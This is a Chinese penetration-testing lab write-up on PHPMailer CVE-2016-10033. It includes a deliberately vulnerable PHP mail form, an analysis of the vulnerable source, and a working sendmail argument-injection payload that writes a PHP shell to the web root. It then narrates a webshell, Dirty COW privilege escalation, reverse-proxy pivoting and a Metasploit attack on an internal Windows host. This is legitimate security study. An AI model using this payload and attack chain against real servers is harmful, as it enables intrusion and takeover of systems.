Web安全 -- CVE-2016-10033漏洞
来源:互联网 发布:java怎么运行 编辑:程序博客网 时间:2024/05/21 17:05
引言
CVE-2016-10033漏洞背景
独立研究人员Dawid Golunski发现该漏洞—远程攻击者利用该漏洞,可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组建时利用此漏洞。
漏洞影响的版本PHPMailer < 5.2.18
环境搭建
模拟如图网络环境
web服务器配置
web服务器的系统为centos7,添加两块网卡。
首先需要安装apache服务和php。
安装sendmail
安装完之后在/etc/php.ini
添加如下内容
启动web服务
# service httpd start
进入/var/www/html
目录
# git clone https://github.com/PHPMailer/PHPMailer# cd PHPMailer# git checkout –b CVE-2016010033 v5.2.17 //获取分支v5.2.17版本
新建index.php 文件,内容如下:
<html><head> <title>Vulnerable Mail Form</title></head><body> <h1> Vulnerable mail form </h1> <form action="" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="submit"> Your name:<br> <input name="name" type="text" value="" size="30"/><br> Your email:<br> <input name="email" type="text" value="" size="30"/><br> Your message:<br> <textarea name="message" rows="7" cols="30"></textarea><br> <input type="submit" value="Send email"/> </form> <pre> <?php $action=$_REQUEST['action']; if ($action!=""){ $name=$_REQUEST['name']; $email=$_REQUEST['email']; $message=$_REQUEST['message']; if (($name=="")||($email=="")||($message=="")){ echo "There are missing fields."; }else{ require 'vulnerable/PHPMailerAutoload.php'; $mail = new PHPMailer; $mail->Host = "localhost"; $mail->setFrom($email, 'Vulnerable Server'); $mail->addAddress('admin@vulnerable.com', 'Hacker'); $mail->Subject = "Message from $name"; $mail->Body = $message; if(!$mail->send()){ echo 'Message was not sent.'; echo 'Mailer error: ' . $mail->ErrorInfo; }else{ echo 'Message has been sent.'; } } } ?> </pre> </body> </html>
搭建完后如图所示
在/etc/sysconfig/network-script/ifcfg-enp0s3,/etc/sysconfig/network-scripts/ifcfg-enp0s8
中dhcp改成static添加
BROADCAT=192.168.58.255NETMASK=255.255.255.0IPADDR=192.168.58.101BROADCAST=192.168.86.255NETMASK=255.255.255.0IPADDR=192.168.86.101
WIN7主机设置
设置静态IP 192.168.86.102
漏洞分析
PHPMailer class使用了PHP的mail()
函数来进行邮件发送。在class.phpmailer.php
文件的mailSend
函数实现了发送邮件的功能。
mailSend函数部分代码如下
protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver if (!empty($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
从github上比较v5.2.17和v5.2.18的版本的mailSend函数
从修改的情况来看,v5.2.18版本增加了使用validateAddress
函数来检测$this->Sender
并且使用了escapeshellarg
函数过滤$this->Sender
,可见是为了防止注入参数。
跟随$param
,$param
作为参数传入了mailPassthru
函数。
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$param
不为空,则传入了mail
函数。
$param
作为sendmail
的额外参数,其中sendmail
的-X
参数会将流量记录到文件中从而实现RCE。
$this->Sender
的设置在setFrom
函数中
从该函数中可以看出$address
通过了validateAddress
函数的检查后才传入到$this->Sender
public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }
这个函数根据PCRE_VERSION
和PHP_VERSION
来选择过滤的方式,如果php不支持PCRE(preg_replace函数),php版本小于5.2.0 ,这时会使用 noregex的方式,其判断为
- 输入长度大于3
- 含有@
- @不是最后一个字符
所以只要绕过validateAddress
函数。这边最简单的绕过条件是PHP版本小于5.2.0并且满足以上三个条件。
在CVE的POC给出了bypass这个函数的方法,经过一些修改后
"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org
打开shell.php后,<?php phpinfo();?>
成功写入shell.php中。
渗透测试
构造一句话进行写入
用菜刀打开
提权
查看内核版本,版本过低,使用cve-2016-5195(dirtyC0w)
来提权。
上传提权的文件dcow,执行,再通过ssh来连接服务器,ssh root@192.168.58.101
,密码为dirtyCowFun
内网渗透
进入linux服务器后arp
命令,发现了内网段的主机
上传rssocks文件
设置反向代理服务
设置proxychains
,/etc/proxychains.conf
使用nmap 对192.168.86.102
扫描端口
由端口号的特性分析为windows系统。
这边使用ms12_003 IE漏洞来进行攻击内网主机。
使用msfconsole
来进行攻击。
相关设置如下
设置端口转发
开始攻击
在win7中打开页面
结语
通过本次工程实践学习和锻炼了内网渗透和0day的使用,深深的体会到渗透的魅力,实践是检验真理的唯一标准。
参考文献
http://www.freebuf.com/news/topnews/111545.html
http://paper.seebug.org/161/
http://paper.seebug.org/160/
- Web安全 -- CVE-2016-10033漏洞
- mysql CVE-2016-6662漏洞
- CVE-2016-1503 漏洞分析
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析
- CVE-2016-5696漏洞分析:TCP侧信道安全 Leon不会玩
- 悬镜安全实验室丨DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)
- web安全 CSRF漏洞
- Web安全 -- XSS漏洞
- Web安全 -- CSRF漏洞
- OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778
- 【WEB安全】常见WEB漏洞
- tomcat 漏洞 CVE-2016-1240 分析报告
- ActiveMQ漏洞( CVE-2016-3088) 验证
- [web安全] 上传漏洞之解析漏洞
- [web安全] 上传漏洞之修复漏洞
- Android漏洞/WebView漏洞及Web安全
- WEB安全:文件上传漏洞
- [web安全] 文件包含漏洞
- 给定候选号码(C)和目标号码(T)的集合,找出C中候选号码总和为T的所有唯一组合 C中的每个数字只能在组合中使用一次。
- Web安全 -- BurpSuite实战(上)
- Web安全 -- CSRF漏洞
- 告诉函数开始和结束
- python+django+sae
- Web安全 -- CVE-2016-10033漏洞
- RHEL7中安装极点五笔的方法
- PAT (Advanced Level) Practise 1002. A+B for Polynomials (25)
- 2017.12.6 C语言第三次课
- 【爬虫工具方法】根据属性得到一条HTML标签的一个属性值
- Bailian4077 出栈序列统计【卡特兰数】(vijos P1122)
- JavaScript的constructor属性
- 谈谈程序员的离职和跳槽
- ajax post请求,后台servlet来接收